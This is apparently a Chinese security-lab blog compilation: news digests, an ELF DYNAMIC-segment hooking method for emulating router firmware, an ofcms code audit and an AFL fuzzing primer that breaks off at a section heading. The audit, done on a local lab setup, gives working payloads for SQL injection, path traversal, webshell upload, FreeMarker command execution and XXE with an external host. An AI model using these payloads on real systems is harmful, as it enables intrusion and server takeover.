网络安全日报 2022年06月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Horde Webmail 服务器存在高危漏洞
https://www.securityweek.com/unpatched-vulnerability-exposes-horde-webmail-servers-attacks 2、LockBit 2.0 勒索软件攻击了富士康在墨西哥的一家工厂
https://www.securityweek.com/ransomware-group-claims-have-breached-foxconn-factory 3、欧洲刑警组织宣布摧毁了FluBot 移动间谍软件
https://www.securityweek.com/europol-announces-takedown-flubot-mobile-spyware 4、新的 XLoader 僵尸网络版本使用新技术来隐藏其 C2 服务器
https://securityaffairs.co/wordpress/131860/cyber-crime/xloader-botnet-obscures-c2.html 5、研究人员在全球范围内发现了超过 360 万台可访问的 MySQL 服务器
https://securityaffairs.co/wordpress/131851/security/3-6-million-mysql-servers-accessible-online.html 6、Hive 勒索软件团伙攻击了哥斯达黎加的公共卫生服务
https://securityaffairs.co/wordpress/131837/cyber-crime/costa-rica-cccs-hive-ransomware.html 7、FDA 发布医疗器械网络安全指南
https://www.meddeviceonline.com/doc/fda-releases-guidance-on-cybersecurity-in-medical-devices-0001 8、乌克兰在2022年第一季度观察到近1400万起网络安全事件
https://www.govinfosecurity.com/ukraine-observed-nearly-14m-cyber-incidents-in-q1-2022-a-19175 9、英国政府就云、数据中心安全征求意见
https://www.theregister.com/2022/05/30/uk_government_security_consultation/ 10、南非总统的个人信贷数据泄露
https://www.secrss.com/articles/42993
二进制固件函数劫持术-DYNAMIC
背景介绍
固件系统中的二进制文件依赖于特定的系统环境执行,针对固件的研究在没有足够的资金的支持下需要通过固件的模拟来执行二进制文件程序。依赖于特定硬件环境的固件无法完整模拟,需要hook掉其中依赖于硬件的函数。
LD_PRELOAD的劫持
对于特定函数的劫持技术分为动态注入劫持和静态注入劫持两种。静态注入指的是通过修改静态二进制文件中的内容来实现对特定函数的注入。动态注入则指的是在运行的过程中对特定的函数进行劫持,动态注入劫持一方面可以通过劫持PLT表或者GOT表来实现,另一方面可以通过环境变量LD_PRELOAD来实现。
在《揭秘家用路由器0day漏洞挖掘》中作者针对D-link DIR-605L(FW_113)路由器中的Web应用程序boa,通过hook技术劫持 apmib_init()和apmib_get()函数修复boa对硬件的依赖,使得qemu-static-mips可以模拟执行,在文中作者通过LD_PRELOAD环境变量实现对函数的劫持。网上针对LD_PRELOAD的劫持也有大量的描述。但是LD_PRELOAD仍旧不是普适的。
存在的问题
LD_PRELOAD环境变量的开关在编译生成ulibc的时候指定,当关闭该选项的时候,无法使用LD_PRELOAD来预加载指定的动态链接库文件。
固件的二进制文件中会将二进制文件中的Section信息去除掉,只保留下Segment的信息,使得无法通过patchelf来增加动态链接库实现劫持。patchelf 支持对二进制文件的patch修改,或者添加执行过程中的链接lib。
本文方案思路
在ELF文件中,存在DYNAMIC Segment,ld.so通过该段内容来加载程序运行过程中需要的lib文件,图1为在IDA中反编译后查看的DYNAMIC段的内容。
图1 Elf32_Dyn结构体数组
DYNAMIC段介绍
dynamic 段开头包含了由N个Elf32_Dyn组成的结构体,该结构体的D_tag代表了结构体的类型。d_un为通过union 联合的指针d_ptr或者对应的结构体的值d_val。
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
}Elf32_Dyn;
d_tag字段保存了类型的定义参数,详见ELF(5)手册。下面列出了动态链接器常用的比较重要的类型值
1-DT_NEEDED 该类型的数据结构保存了程序所需要的共享库的名字相对字符串表的偏移量
2-DT_SYMTAB 动态符号表的地址,对应的节名为.dynsym
3-DT_HASH 符号散列表的名称,对应的节名为.hash又称为.gnu.hash
4-DT_STRTAB 符号字符串表的地址,对应的节名为 .dynstr
5-DT_PLTGOT 全局偏移表的地址
如上各个字段对应到 IDA 中显示如下,d_tag字段代表了动态段的类型,当该值为1的时候。表示程序依赖的共享库的名字,其对应的d_val表示了是要加载的lib的名称在string table中的偏移。
共享库文件名对应的结构体的类型值为0x01,如图2所示,0x4001C4-0x4001E4保存有5个二进制文件所依赖的共享库名字,其D_VAL的值是指向string table的偏移量。
图2 DT_NEEDED 共享库依赖图
DYNAMIC段的定位
从二进制文件头起始定位DYNAMIC段的流程如下:
ELF_HEADER->Program Header -> DYNAMIC Program
ELF_HEADER中保存有Program Header的偏移
图3 ELF Header
Program Header中保存有Dynamic Segment 的相关结构体信息
图4 Program Header
展开该结构体,可以找到Dynamic段在文件中的偏移量0x140h
Program Header结构体
DT_NEEDED伪造
动态段由dynamic的结构体数组组成,dynamic的结构体定义如下:
在dynamic和elf_hash之间仍存在一段空余空余可填充空间。本文利用该段空间填充,实现特定lib的加载。
本文方案实验与测试
利用dynamic和elf_hash之间的空余区域,在该区域伪造出新的dynamic的一个数组。如下图,不修改二进制文件大小,伪造增添ibcjson.so,使得二进制文件加载 ibcjson.so。在ibcjson.so中编写对应的劫持函数。
思路: 将原有的Elf32_Dyn数组元素依次后移,并在该数组的首部添加伪造的ibcjson.so,该lib的命名可以选用string table中的任一字符串即可。
核心移动代码,将Elf32_Dyn中的元素依次后移一个,dynamic段 dynamic[0]元素作为要伪造填充的数据,在本文的实验中,将dynamic[0]中的value值加1。由于在MIPS下存在大小端两种架构,在小端机器上的代码解决大端架构的填充伪造时要注意大小端的转换问题。
void move_dynamic(char* buf){
int x = 0;
Elf32_Dyn* dyn = (Elf32_Dyn *)buf;
while(1){
if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){
break;
}
x++;
if(x>100) {
printf("Error break\n");
break;
}
}
while(x--){
//printf("the index x is %x\n",x);
mem_cpy(&dyn[x],&dyn[x+1],8);
}
dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);
}
测试环境
TOTOLink N210RE中boa程序,劫持函数参考DIR605A,劫持apmib_init以及apmib_get
该固件的ld,关闭了LD_PRELOAD程序选项,未提供/etc/ld.preload
劫持函数代码,采用了《揭秘家用路由器漏洞挖掘》提供的示例代码如下,在原有的基础上,增加printf来查看显示是否劫持成功。
#include<stdio.h>
#define MIB_HW_VER 0x250
#define MIB_IP_ADDR 170
#define MIB_CAPTCHA 0x2C1
int apmib_init(void){
printf("helllo");
return 1;
}
int fork(void){
return 0;
}
void apmib_get(int code,int *value){
switch(code){
case MIB_HW_VER:
*value = 1;
break;
case MIB_IP_ADDR:
*value = 1;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return;
}
通过mips-linux-gcc进行编译,这里注意mips-linux-gcc在编译过程中的编译文件的位置要位于参数之后(踩坑了!!!!)
mips-linux-gcc -Wall -fPIC -shared apmib.c -o ibcjson.so
通过如下代码,给原有的boa二进制文件添加一个dynamic
#include<stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include "elf.h"
#define PATCH "boa_patch"
int b2l(int be)
{
return ((be >> 24) &0xff )
| ((be >> 8) & 0xFF00)
| ((be << 8) & 0xFF0000)
| ((be << 24));
}
char* buf = NULL;
int l2b(int le) {
return (le & 0xff) << 24
| (le & 0xff00) << 8
| (le & 0xff0000) >> 8
| (le >> 24) & 0xff;
}
static char *_get_interp(char *buf)
{
int x;
// Check for the existence of a dynamic loader
Elf_Ehdr *hdr = (Elf_Ehdr *)buf;
Elf_Phdr *phdr = (Elf_Phdr * )(buf + l2b(hdr->e_phoff));
printf("the phdr address is: 0x%x 0x%x 0x%x 0x%x\n",phdr,l2b(hdr->e_phoff),buf,sizeof(hdr->e_phoff));
for(x = 0; x < hdr->e_phnum; x++){
if(l2b(phdr[x].p_type) == PT_DYNAMIC){
// There is a dynamic loader present, so load it
return buf + l2b(phdr[x].p_offset);
}
}
return NULL;
}
int mem_cpy(char* src,char* dst,int len){
printf("the src addr is %x , %x\n",src-buf,dst-buf);
for(int x=0;x<len;x++){
dst[x]=src[x];
}
return 0;
}
/*
1 2 3 4
temp = 2
strcpy(1,2)
1 2
strcpy()
*/
void move_dynamic(char* buf){
int x = 0;
Elf32_Dyn* dyn = (Elf32_Dyn *)buf;
//Elf32_Dyn tmp_dyn;
//mem_cpy()
while(1){
if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){
printf("the x is %d\n",x);
break;
}
x++;
if(x>100) {
printf("Error break\n");
break;
}
}
while(x--){
//printf("the index x is %x\n",x);
mem_cpy(&dyn[x],&dyn[x+1],8);
}
dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);
//FILE* fw = fopen("")
}
void analyse(char* buf){
char* phdr_address = NULL;
phdr_address = _get_interp(buf);
printf("phdr address: 0x%x\n",phdr_address-buf);
move_dynamic(phdr_address);
}
void save_binary(char* buf,int size){
FILE* fw = fopen(PATCH,"wb");
fwrite(buf,size,1,fw);
fclose(fw);
}
int main(int argc,char *argv[],char* envp[]){
if(argc < 2){
printf("not enough argc\n");
}
FILE* fp = fopen(argv[1],"rb");
fseek(fp,0,SEEK_END);
int size = ftell(fp);
fseek(fp, 0L, SEEK_SET);
buf = malloc(size);
fread(buf,size,1,fp);
analyse(buf);
save_binary(buf,size);
free(buf);
return 0;
}
Makefile如下
all: elf.h analyse_ph.c
gcc analyse_ph.c -m32 -g3 -o analyse
./analyse boa_real_n210
针对N210RE 的测试截图如下,通过export LD_LIBRARY_PATH使得程序加载ibcjson.so,成功劫持boa,输出helllo
Ubuntu下rand函数劫持测试
rand函数的头文件是stdlib.h
编写rand.c
#include<stdio.h>
#include<stdlib.h>
int main(){
int a = 0;
a = rand()%100;
printf("the a is %d\n",a);
return 0;
}
//gcc -m32 rand.c -o rand
编写rand_hook.so
#include<stdio.h>
int rand(){
printf("hook !\n");
return 100;
}
//gcc -fPIC -Wall -shared -m32 rand_hook.c -o rand_hook.so
使用LD_PRELOAD测试,成功实现对该函数的劫持
使用patch,针对dynamic段元素添加伪造,测试rand_patch,依赖的库文件增加了ibc.so.6,ibc.so.6需要通过export LD_LIBRARY_PATH导入ibc.so.6的文件路径
实现对rand的劫持
总结
本文通过研究二进制文件中的dynamic段,通过修改二进制文件增加依赖共享库,可以解决在模拟固件的过程时,固件缺少节信息且固件函数无法通过LD_PRELOAD劫持的问题。该方案仍有不足之处,对于ld加载共享库的依赖顺序、共享库劫持的底层原理尚未深入探究。
参考
《揭秘家用路由器0day挖掘技术》
《二进制分析实战》
网络安全日报 2022年06月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、白俄罗斯政府网站遭到匿名者黑客组织攻击
https://www.infosecurity-magazine.com/news/anonymous-claims-attacks-against/ 2、微软发布了针对Office零日漏洞的缓解措施
https://www.infosecurity-magazine.com/news/turkish-airline-exposes-flight/ 3、澳大利亚养老金提供商Spirit Super数据泄露
https://portswigger.net/daily-swig/data-breach-at-australian-pension-provider-spirit-super-impacts-50k-victims-following-phishing-attack 4、土耳其飞马航空公司泄漏了6.5TB数据,包括航班和机组人员信息
https://www.infosecurity-magazine.com/news/turkish-airline-exposes-flight/ 5、微软发现Android 预装应用受高危漏洞影响
https://www.bleepingcomputer.com/news/security/microsoft-finds-severe-bugs-in-android-apps-from-large-mobile-providers/ 6、FluBot 移动恶意软件席卷欧洲,安卓苹果都不放过
https://www.bitdefender.com/blog/labs/new-flubot-campaign-sweeps-through-europe-targeting-android-and-ios-users-alike/ 7、CISA 发布 5G 安全评估流程计划
https://www.infosecurity-magazine.com/news/cisa-5g-security-evaluation-process/ 8、EnemyBot 恶意软件增加了关键 VMware、F5 BIG-IP 漏洞的攻击
https://www.bleepingcomputer.com/news/security/enemybot-malware-adds-exploits-for-critical-vmware-f5-big-ip-flaws/ 9、SideWinder APT组织在过去 2 年发起了超过 1,000 次网络攻击
https://thehackernews.com/2022/05/sidewinder-hackers-launched-over-1000.html 10、澳大利亚电子驾照可在几分钟内被破解
https://www.theregister.com/2022/05/30/nsw_digital_drivers_licenses_hackable/
网络安全日报 2022年05月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、一个新的 WhatsApp OTP 骗局可能允许劫持用户的帐户
https://securityaffairs.co/wordpress/131807/hacking/whatsapp-otp-scam.html 2、多个Microsoft Office版本存在远程命令执行漏洞
https://securityaffairs.co/wordpress/131800/hacking/multiple-microsoft-office-versions-zero-day.html 3、EnemyBot新增CMS和Android设备漏洞利用
https://securityaffairs.co/wordpress/131783/malware/enemybot-botnet-new-exploits.html 4、Clop勒索软件卷土重来,4月添加了21名新受害者
https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/ 5、加拿大卡尔加里城市项目协会证实遭到数据泄露
https://globalnews.ca/news/8872996/calgary-charity-data-breach/ 6、淘宝宣布禁止销售修改/代理/伪造IP的软件与服务
https://www.cnbeta.com/articles/tech/1274789.htm 7、咚动、自如、康珂诺等12款移动App违法被通报,隐私不合规
https://www.cnaac.org.cn/newShowData.html?id=258 8、FBI 发出警告称黑客正出售美国大学的网络凭证
https://www.bleepingcomputer.com/news/security/fbi-warns-of-hackers-selling-credentials-for-us-college-networks/ 9、曝通用汽车受黑客攻击,用户信息遭泄露
https://www.pcauto.com.cn/news/3081/30810284.html 10、谷歌、苹果等科技公司喜欢谈论隐私,但同时试图扼杀隐私立法
https://www.theregister.com/2022/05/27/big_tech_privacy/
网络安全日报 2022年05月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 VMware高危漏洞CVE-2022-22972 PoC已公开
https://www.securityweek.com/exploitation-vmware-vulnerability-imminent-following-release-poc 2、GitHub:近10万名 NPM 用户的凭据在 4 月的 OAuth 令牌攻击中被盗
https://securityaffairs.co/wordpress/131733/hacking/100k-npm-credential-github-oauth-breach.html 3、研究人员设计了一种名为GhostTouch的技术:使用电磁干扰攻击触摸屏
https://securityaffairs.co/wordpress/131714/hacking/ghosttouch-touchscreens-attack.html 4、ERMAC Android 银行木马2.0针对 400 多个应用程序
https://securityaffairs.co/wordpress/131705/malware/ermac-2-0-android-banking-trojan.html 5、Cheerscrypt 勒索软件针对 VMware ESXi 服务器
https://cyware.com/news/cheerscrypt-ransomware-targets-vmware-esxi-servers-d5f3f79a 6、黑客通过远程访问窃取了数百名 Verizon 员工的数据库
https://www.vice.com/en/article/wxdwxn/hacker-steals-database-of-hundreds-of-verizon-employees 7、加拿大医疗服务提供商SHN遭黑客入侵数据泄露
https://portswigger.net/daily-swig/canadian-healthcare-provider-issues-data-breach-warning-after-server-hack 8、维护人员修复Guzzle的跨域cookie泄漏漏洞
https://portswigger.net/daily-swig/patch-released-for-cross-domain-cookie-leakage-flaw-in-guzzle 9、基于WSL的恶意软件窃取浏览器验证cookie
https://www.bleepingcomputer.com/news/security/new-windows-subsystem-for-linux-malware-steals-browser-auth-cookies/ 10、研究人员发现谷歌Chrome中存在RCE漏洞
https://thehackernews.com/2022/05/experts-detail-new-rce-vulnerability.html
网络安全日报 2022年05月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 QCT 服务器受"Pantsdown" BMC漏洞的影响
https://www.securityweek.com/qct-servers-affected-pantsdown-bmc-vulnerability 2、芯片巨头博通610亿美元收购VMware
https://www.securityweek.com/vmware-absorb-broadcom-security-solutions-following-61-billion-deal 3、Open Automation Software平台中发现多个严重漏洞
https://www.securityweek.com/critical-vulnerabilities-found-open-automation-software-platform 4、Twitter 因用户数据隐私被罚款 1.5 亿美元
https://www.securityweek.com/twitter-pay-150m-penalty-over-privacy-users-data 5、Zyxel 解决了影响 AP、AP 控制器和防火墙的多个漏洞
https://securityaffairs.co/wordpress/131691/security/zyxel-flaws.html 6、新的 ChromeLoader 恶意软件激增威胁全球浏览器
https://www.bleepingcomputer.com/news/security/new-chromeloader-malware-surge-threatens-browsers-worldwide/ 7、基于Linux的勒索软件Cheerscrypt针对ESXi设备
https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html 8、印度SpiceJet航空公司遭勒索软件攻击航班延误
https://www.bleepingcomputer.com/news/security/spicejet-airline-passengers-stranded-after-ransomware-attack/ 9、伦敦港管理局网站遭到黑客攻击导致被迫关闭
https://www.hackread.com/pro-iran-altahrea-hit-port-of-london-website-ddos-attack/ 10、配置错误的服务器泄露了上千万俄罗斯和乌克兰人的数据
https://www.hackread.com/personal-data-russians-ukrainians-exposed-online/
某内容管理系统最最最详细的代码审计
前言
刚好遇到一个授权的渗透是通过该cms实现getshell,所以顺便审计一下java类的cms,这个管理系统是一个内容管理系统,下载地址
https://gitee.com/oufu/ofcms/tree/V1.1.3/ tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip 这里我选择8.5.78
环境搭建
idea
ofcms V1.1.3
tomcat 8.5
idea直接创建新建项目,自动导入xml文件,配置启动服务器
导入sql文件
mysql -uroot -pxxxxxxx
use ofcms
source /路径.ofcms-v1.1.3.sql
show tables;
这里需要注意一点儿,源码确实,无法打包war'包,解决不掉artifacts的问题
配置端口
启动tomgcat的时候会乱码,修改tomcat的配置文件tomcat->config->logging.properties
更改所有utf8的格式为GBK
配置maven,整一个恶心的想吐
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
重建项目
启动服务,但是之前需要修改配置文件中的数据库的连接的字段用户名和密码,这里会报错,所以修改配置文件直接创建完成了数据库在上面导入数据库的时候跳过安装步骤。
首页地址: localhost:8099/ofcms_admin
后台地址:localhost:8099/ofcms_admin/admin/login.html
admin/123456
审计分析
SQL注入
文件结构目录
因为已知漏洞都存在于后台,直接审计后台文件,首先定位到控制层代码,
因为已经不通通过安装启动web服务,这里不需要分析安装控制层,看首页
出于对代码的尊重,跟了一波增加sql语句的处理,但是存在sql注入的过滤器,
直接触发增加用户接口
其实可以直接看出来,在第50行的时候已经使用put方法增加了管理员用户,然后new了一个对象record存放存入的其它参数的数据,再往下的时候根据record的值判断用户的类型,向下56行F7跟进,一直跟到类sqlpara的setsql方法进行插入
在这里的时候插入的是创建时的创建时间等字段,并没插入我们传入的详细信息,但是在类sysusercontroller中的57行中十对创建的用户sss创建id编号,此时用户以及数据的插入时在58行执行结束时完成,已经写进了数据库。
但是这里没有测试存在注入点儿,注入点存在于代码生成->新增
手动测试有回显sql=1'
猜测可能存在报错注入,构造payload
update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2
\ofsoft\cms\admin\controller\system\SystemGenerateController.java下断点分析
47行,F7跟进
返回的sql参数的内容未作任何过滤,48行F7跟进
98行跟进update方法
256行直接连接数据库进行更新,最后抛出异常,报错回显出数据库用户名root
存储型XSS
分析代码,
所以这里出现存储型XSS的地方不止这一个触点儿,包括前台,Ueditor编辑器的原因。
任意文件读取
查看文件模板,模板文件连接如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
可控参数dir,payload如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/
控制字段file_name读取文件
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib
漏洞分析
查看模板文件的时候,传入的dir参数以及updir的参数都为空
这里是对路径文件类型做判断,读取模板文件,所这里任意文件读取也只是针对任意模板文件读取,读取文件名的控制参数数为filename
根据debug分析,当传入的payload为
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../
测试根据断点看出,我们传入的参数dir为../
在65行的时候未对传入的参数dir做过滤,这个时候已经拿到了模板目录
读取通过循环遍历使用文件名读取
在调试的时候发现,我们访问目录。这里访问comn
在控制层TemplateController内调用函数getSiteTemplatePath()
F7跟进,在类file.java中对路径进行了直接拼接
所以只要调用file函数拼接的参数也必定会产生"任意"文件读取。那么所能使用的payload如下
?dir=../
?up_dir=../
#含文件名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn
文件上传实现webshell
刚好该类这里又save方法调用了上面的函数,所以我们可以保证我们上传文件的路径是可控的
尝试构造数据包
此时已经成功保存,但是通过文件读取是读不到文件的,实际上已经写进去了,因为在读取文件的时候限制了读取的文件类型,可以尝试保存一个html
验证是可以写入的,那么直接写入jsp木马实现webshell
最后一个断点执行结束,此时shell已成功写入
http://localhost:8099/ofcms_admin/static/1.jsp
SSTI模板注入
同样在save模板的时候我们分析,在125行的时候传入file文件以及文件内容
f7跟进函数,发现在类fileutils中的,writestring方法中在78行的时候拿到的string还是我们在前端输入的内容
继续F7跟进函数
这里直接对string进行了编码
payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问
http://localhost:8099/ofcms_admin/about.html
所以这里漏洞的触发点也很多,html页面都可以,当然也可以利用上面的文件上传进行写入页面调用也可以触发。漏洞的触发原理可参考这个文章
http://t.zoukankan.com/Eleven-Liu-p-12747908.html 很清晰
XXE漏洞
直接分析漏洞代码下断点
ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java
前端功能模块导出
定位到控制器处理方法,在 com.ofsoft.cms.admin.controller.ReprotAction类的 expReport 方法中。
使用上文的任意文件读取,在静态页面下放入我们写入的jrxml文件,文件命名为xxe.jrxml,构造payload
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE
file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2
文件内容的payload
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>
直接访问
http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe
漏洞成因是调用了 getParamsMap 方法,获取用户提交的所有参数,并将 j 参数赋值给 jrxmlFileName ,服务器接收用户输入的 j 参数后,拼接生成文件路径,可直接穿越其它目录,但是限制了文件后缀为 jrxml,所以文件名命名为jrxml
先调用getParamsMap 方法
而后调用JasperCompileManager.compileReport() 方法
F7跟进,在 compile方法中调用 JRXmlLoader.load() 方法,F7跟进,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析,所以xxe文件能执行。
总结
抛开白盒审计不说,sql注入实现比较简单,黑盒状态下也可知道用户名实现,跨站类可以通过js类的实现对用户的上线,高危的文件读取和webshell以及xxe,总的来说都是在文件读取目录遍历的基础上实现的,否则对于二次开发的网站抛开任意文件读取这个漏洞来说是无法实现webshell的。
网络安全日报 2022年05月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 Chrome 发布102 版本,修复了 32 个漏洞
https://www.securityweek.com/chrome-102-patches-32-vulnerabilities 2、Google Project Zero披露了 Zoom 零点击远程代码执行漏洞详情
https://www.securityweek.com/google-discloses-details-zoom-zero-click-remote-code-execution-exploit 3、 SilverTerrier 网络犯罪集团头目在尼日利亚被捕
https://securityaffairs.co/wordpress/131659/cyber-crime/silverterrier-leader-arrested.html 4、华盛顿大学医学院通知患者数据泄露
https://www.beckershospitalreview.com/cybersecurity/washington-university-school-of-medicine-notifies-patients-of-data-breach-2.html 5、BPFDoor 恶意软件利用 Solaris 漏洞获取 root 权限
https://www.bleepingcomputer.com/news/security/bpfdoor-malware-uses-solaris-vulnerability-to-get-root-privileges/ 6、Telegram上泄露了 1.42 亿条米高梅客户记录,影响大约 3000 万人
https://www.hackread.com/142-million-mgm-resorts-records-leak-telegram-download/ 7、严重的Argo CD漏洞可能允许攻击者获得管理员权限
https://portswigger.net/daily-swig/critical-argo-cd-vulnerability-could-allow-attackers-admin-privileges 8、国际刑警组织:国家网络武器将很快在暗网上出现
https://www.secrss.com/articles/42740 9、美国德克萨斯州交通部遭黑客攻击导致员工信息泄露
https://www.databreaches.net/another-texas-state-agency-data-breach-this-time-its-the-department-of-transportation/ 10、CISA 在其已知被利用漏洞目录中增加了 41 个漏洞
https://securityaffairs.co/wordpress/131646/security/known-exploited-vulnerabilities-catalog-flaws-2.html
网络安全日报 2022年05月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、被广泛使用的"Ctx"Python 包遭入侵被替换为恶意版本
https://www.securityweek.com/pypi-served-malicious-version-popular-ctx-python-package 2、帐户预劫持攻击可以在用户注册之前劫持其账户
https://www.bleepingcomputer.com/news/security/hackers-can-hack-your-online-accounts-before-you-even-register-them/ 3、Mozilla 修复了在 Pwn2Own 上被利用的 Firefox零日漏洞
https://www.bleepingcomputer.com/news/security/mozilla-fixes-firefox-thunderbird-zero-days-exploited-at-pwn2own/ 4、Fronton僵尸网络被用于进行社交媒体虚假宣传活动
https://securityaffairs.co/wordpress/131574/cyber-warfare-2/fronton-botnet-disinformation.html 5、钓鱼邮件冒充沙特阿拉伯采购订单传播GuLoader
https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader 6、美国通用汽车公司遭到凭证填充攻击暴露车主信息
https://www.bleepingcomputer.com/news/security/gm-credential-stuffing-attack-exposed-car-owners-personal-info/ 7、马克·扎克伯格因数据泄露事件被起诉
https://www.securityweek.com/dc-sues-zuckerberg-over-cambridge-analytica-privacy-breach 8、Turla APT以奥地利、爱沙尼亚和北约平台为目标
https://www.bleepingcomputer.com/news/security/russian-hackers-perform-reconnaissance-against-austria-estonia/ 9、RansomHouse 集团设立勒索市场,新增了第一批受害者
https://www.bleepingcomputer.com/news/security/new-ransomhouse-group-sets-up-extortion-market-adds-first-victims/ 10、委内瑞拉总统称该国一大型水电站系统遭黑客攻击
http://www.cankaoxiaoxi.com/world/20220524/2480275.shtml
AFL--模糊测试使用浅析
一、AFL简介
AFL(American Fuzzy Lop)是由安全研究员Micha Zalewski 开发的一款基于覆盖引导(Coverage-guided)的模糊测试工具,它通过记录输入样本的代码覆盖率,从而调整输入样本以提高覆盖率,增加发现漏洞的概率。
①从源码编译程序时进行插桩,以记录代码覆盖率(Code Coverage);
②选择一些输入文件,作为初始测试集加入输入队列(queue);
③将队列中的文件按一定的策略进行“突变”;
④如果经过变异文件更新了覆盖范围,则将其保留添加到队列中;
⑤上述过程会一直循环进行,期间触发了crash的文件会被记录下来。
二、AFL安装、测试
1.安装AFL
下载源码
Make
llvm_mode安装
之后输入以下命令进行安装
2.AFL测试
下载一个有缺陷的c文件
使用 afl-gcc/afl-clang 编译
生成一些种子语料库
开始fuzz
提示修改/proc/sys/kernel/core_pattern
再次运行之前的代码可看到fuzz进度
现在就表示我们的ACL已经安装成功了,注意出现(odd,check syntax!)是表示样例根本没有进入到测试中去,需要调整语料库。
Ctrl+C打断可以在out文件里看见我们的测试信息
3.并行fuzz测试
每个afl-fuzz进程占用CPU的一个核,实际上如果是多核的主机,AFL就可以并行工作
首先先看自己有多少内核
以上可以看出有四个内核意味着可以同时运行4个实例
首先指定主实例 -M 用于主实例,将 -S 添加到所有从属实例。它们可以相互同步
主实例:afl-fuzz -M master -i in/ -o out/ -m none -- ./imgRead_afl @@
从实例:afl-fuzz -S slave1 -i in/ -o out/ -m none -- ./imgRead_afl @@
在之前的out文件夹会多出俩个不同的文件夹masterh和slave1
现在尝试假如我们一次性运行5个实例会怎么样
在运行第5个实例后报错,其他实例不受影响,也可以确定4个核在运行中
三、AFL模糊测试libjpeg-turbo
